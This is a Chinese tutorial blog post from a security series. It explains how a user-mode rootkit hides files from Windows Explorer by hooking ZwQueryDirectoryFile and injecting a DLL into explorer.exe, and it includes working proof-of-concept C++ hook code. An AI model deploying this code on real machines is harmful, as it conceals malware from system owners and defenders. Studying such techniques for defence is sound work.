【Day 14】Explorer 你怎麽没感觉 - Ring3 Rootkit 隐藏档案

环境

  • Windows 10 21H1
  • Visual Studio 2019

前情提要

【Day 06】致不灭的 DLL - DLL Injection【Day 09】Hook 的奇妙冒险 - Ring3 Hook 我们分别认识了基本的 DLL Injection 和 Hook;在【Day 13】粗暴後门,Duck 不必 - Windows 简单後门也认识了後门的存在用途。

之前介绍过,後门是个用来维持权限的手法,让骇客可以更方便的再次进入受害主机。但是单纯的後门可能很容易被发现,所以通常 Rootkit 会需要一些方法躲避侦测。这篇文章将说明 Ring3 Rootkit 的其中一个功能,把存在的档案隐藏,让 Explorer 瞎掉。

Explorer 做了什麽

大家使用 Windows 时,有没有想过为什麽能看得到桌面、档案的 Icon 等等,是谁在这所有人都觉得理所当然的 UI 介面後默默付出呢?主角就是 Explorer 这个 Process。

之前听过一个整人技巧,就是把 Explorer 这个 Process 砍掉。在 cmd 上打以下指令,然後就会看不到桌面和档案。

:: 请在虚拟机上做
# tasklist | find "explorer"
explorer.exe 1656 Console 2 138,028 K

:: 输入完这行会看不到桌面
# taskkill /pid /f 1656

:: 要复原的话就再开启 Explorer
# explorer

那 Explorer 是怎麽做到把档案列举出来的呢?其实 Explorer 这个 Process 使用了定义在 ntdll.dll 的 ZwQueryDirectoryFile 函数,它会提供档案结构让程序可以访问它,接着使用者就能看到目录中有哪些档案了。所以只要能够窜改这个档案结构,就能够达到隐藏档案的效果。

分析档案结构

仔细看一下 ZwQueryDirectoryFile 这个函数原型。其中的 FileInformation 就存放着档案结构,长度为 Length。FileInformation 不只一种型态,而是会根据 FileInformationClass 的不同改变,因此在窜改 FileInformation 时,也需要注意 FileInformationClass。

NTSYSAPI NTSTATUS ZwQueryDirectoryFile(
  HANDLE                 FileHandle,
  HANDLE                 Event,
  PIO_APC_ROUTINE        ApcRoutine,
  PVOID                  ApcContext,
  PIO_STATUS_BLOCK       IoStatusBlock,
  PVOID                  FileInformation,
  ULONG                  Length,
  FILE_INFORMATION_CLASS FileInformationClass,
  BOOLEAN                ReturnSingleEntry,
  PUNICODE_STRING        FileName,
  BOOLEAN                RestartScan
);

FILE_DIRECTORY_INFORMATION 为例,它的函数原型如下。第一个参数 NextEntryOffset 存放着目前这个 Entry 到下一个 Entry 的距离,而每个 Entry 都会是一个 FILE_DIRECTORY_INFORMATION。我们可以透过最後一个参数 FileName 来判断目前这个档案是不是我们要隐藏的。

typedef struct _FILE_DIRECTORY_INFORMATION {
  ULONG         NextEntryOffset;
  ULONG         FileIndex;
  LARGE_INTEGER CreationTime;
  LARGE_INTEGER LastAccessTime;
  LARGE_INTEGER LastWriteTime;
  LARGE_INTEGER ChangeTime;
  LARGE_INTEGER EndOfFile;
  LARGE_INTEGER AllocationSize;
  ULONG         FileAttributes;
  ULONG         FileNameLength;
  WCHAR         FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;

隐藏档案的原理

目前已经知道档案的结构是 FileInformation,其中一个一个 Entry 以 NextEntryOffset 的方式串在一起,下图简单示意。

如果现在要隐藏的是 File 3,那就把 File 3 这个 Entry 的位址改成 File 4 这个 Entry,示意图如下。

实作

实作流程

首先先 Hook ZwQueryDirectoryFile,窜改成我们自己定义的 DetourZwQueryDirectoryFile,实作过程跟【Day 09】Hook 的奇妙冒险 - Ring3 Hook 大同小异,这边不赘述,这篇重点放在 DetourZwQueryDirectoryFile 的部分。

  1. 呼叫原本的 ZwQueryDirectoryFile,取得档案结构
  2. 确认是不是目标的 FileInformationClass
  3. 透过档名判断是不是要隐藏的档案
  4. 要隐藏的档案,就把目前的 Entry 窜改成下一个 Entry。如果已经是最後一个档案了,就把上一个 Entry 的 NextEntryOffset 改成 0
  5. 不隐藏的档案,就加上 NextEntryOffset 继续判断下一个档案,直到 NextEntryOffset 等於 0 为止

POC

这里截取关键程序片段,完整的程序专案可以参考我的 GitHub zeze-zeze/2021iThome

// 窜改原始的 ZwQueryDirectoryFile,隐藏档名中有 "XD" 字串的档案
NTSTATUS DetourZwQueryDirectoryFile(
    HANDLE                 FileHandle,
    HANDLE                 Event,
    PIO_APC_ROUTINE        ApcRoutine,
    PVOID                  ApcContext,
    PIO_STATUS_BLOCK       IoStatusBlock,
    PVOID                  FileInformation,
    ULONG                  Length,
    FileInformationClassEx FileInformationClass,
    BOOLEAN                ReturnSingleEntry,
    PUNICODE_STRING        FileName,
    BOOLEAN                RestartScan
) {
    // 1. 呼叫原本的 ZwQueryDirectoryFile,取得档案结构
    NTSTATUS status = fpZwQueryDirectoryFile(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, FileInformation, Length, FileInformationClass, ReturnSingleEntry, FileName, RestartScan);
    
    // 2. 确认是不是目标的 FileInformationClass
    if (NT_SUCCESS(status) && (FileInformationClass == FileInformationClassEx::FileDirectoryInformation || FileInformationClass == FileInformationClassEx::FileFullDirectoryInformation || FileInformationClass == FileInformationClassEx::FileIdFullDirectoryInformation || FileInformationClass == FileInformationClassEx::FileBothDirectoryInformation || FileInformationClass == FileInformationClassEx::FileIdBothDirectoryInformation || FileInformationClass == FileInformationClassEx::FileNamesInformation)) {
        PVOID pCurrent = FileInformation;
        PVOID pPrevious = NULL;
        do {
            // 3. 透过档名判断是不是要隐藏的档案
            if (wstring(GetFileDirEntryFileName(pCurrent, FileInformationClass)).find(L"XD") == 0) {
                // 4. 要隐藏的档案,就把目前的 Entry 窜改成下一个 Entry
                ULONG nextEntryOffset = GetFileNextEntryOffset(pCurrent, FileInformationClass);
                if (nextEntryOffset != 0) {
                    int bytes = (DWORD)Length - ((ULONG)pCurrent - (ULONG)FileInformation) - nextEntryOffset;
                    RtlCopyMemory((PVOID)pCurrent, (PVOID)((char*)pCurrent + nextEntryOffset), (DWORD)bytes);
                }
                // 如果已经是最後一个档案了,就把上一个 Entry 的 NextEntryOffset 改成 0
                else {
                    if (pCurrent == FileInformation)status = 0;
                    else SetFileNextEntryOffset(pPrevious, FileInformationClass, 0);
                    break;
                }
            }
            else {
                // 5. 不隐藏的档案,就加上 NextEntryOffset 继续判断下一个档案,直到 NextEntryOffset 等於 0 为止
                pPrevious = pCurrent;
                pCurrent = (BYTE*)pCurrent + GetFileNextEntryOffset(pCurrent, FileInformationClass);
            }
        } while (GetFileNextEntryOffset(pPrevious, FileInformationClass) != 0);
    }
    return status;
}

实际测试

由於这只是个 DLL,还需要一个 DLL Injector 实作 DLL Injection 注入到 explorer.exe 中,可以参考【Day 06】致不灭的 DLL - DLL Injection 或是用 Cheat Engine 也行。

注入 explorer.exe 之後,会发现档案名称有 "XD" 字串的档案消失了,要回复的话就把 Explorer Process 砍掉重开。

参考资料


<<:  D19 - 用 Swift 和公开资讯,打造投资理财的 Apps { 移动平均线(MA线)实作.2 }

>>:  Day 14 Decorator Part - 2

[iT铁人赛Day5]JAVA的优先顺序

上次优先顺序还没讲,今天就来讲解一下 数学的运算符号有优先顺序的差别,JAVA也有 数学符号无疑是加...

Day2-JavaScript(JS)与TypeScript(TS)的差异比较

第二天,我们来谈谈JavaScript(JS)与TypeScript(TS)的比较吧! 使用Java...

[Day28] - Django-REST-Framework API 期末专案实作 (三)

上一篇我们编写了 Serializers, Views,以及修改了urls.py,完成了基本的菜单查...

.Net Core Web Api_笔记05_HTTP资源操作模式Delete

一般而言会接收Id (可能是个Pk 唯一值)来进行删除操作 这里一样是新增删除action在上几篇的...

JavaScript Day20 - AJAX(2)

ES6:fetch fetch():Fetch API 提供了一个能获取包含跨网路资源在的资源介面,...